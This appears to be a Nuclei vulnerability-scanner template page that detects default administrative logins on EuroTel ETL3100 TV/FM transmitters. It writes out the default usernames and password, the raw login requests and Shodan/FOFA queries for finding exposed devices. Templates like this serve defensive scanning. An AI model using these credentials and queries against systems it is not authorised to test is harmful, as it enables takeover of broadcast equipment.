EuroTel ETL3100 - Default Login

ID: etl3100-default-login

Severity: high

Author: r3Y3r53

Tags: misconfig,default-login,eurotel

Description

The TV and FM transmitter uses a weak set of default administrative credentials that can be guessed in remote password attacks and gain full control of the system.

YAML Source

id: etl3100-default-login

info:
  name: EuroTel ETL3100 - Default Login
  author: r3Y3r53
  severity: high
  description: |
    The TV and FM transmitter uses a weak set of default administrative credentials that can be guessed in remote password attacks and gain full control of the system.
  reference:
    - https://www.zeroscience.mk/en/vulnerabilities/ZSL-2023-5782.php
    - https://www.exploit-db.com/exploits/51684
  classification:
    cpe: cpe:2.3:h:eurotel:etl3100:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: eurotel
    product: etl3100
    shodan-query: html:"ETL3100"
    fofa-query: body="ETL3100"
  tags: misconfig,default-login,eurotel

http:
  - raw:
      - |
        POST /index.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        txtUserId={{username}}&txtPassword={{password}}&btnLogin=Login
      - |
        GET /exciter.php HTTP/1.1
        Host: {{Hostname}}

    attack: pitchfork
    payloads:
      username:
        - user
        - operator
      password:
        - etl3100rt1234
    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains_all(body_2, "FM Exciter", "Summary", "/logout.php")'
        condition: and
# digest: 4a0a00473045022100ab15b2bcf5a73d7b67020077360fee2721dff085e04a6d918c19cc49211b3ef402202048888957f975024dc1595aa034c0f6bf79c4fbd0f12e5b830123dbb99104e6:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/default-logins/eurotel/etl3100-default-login.yaml"

View on Github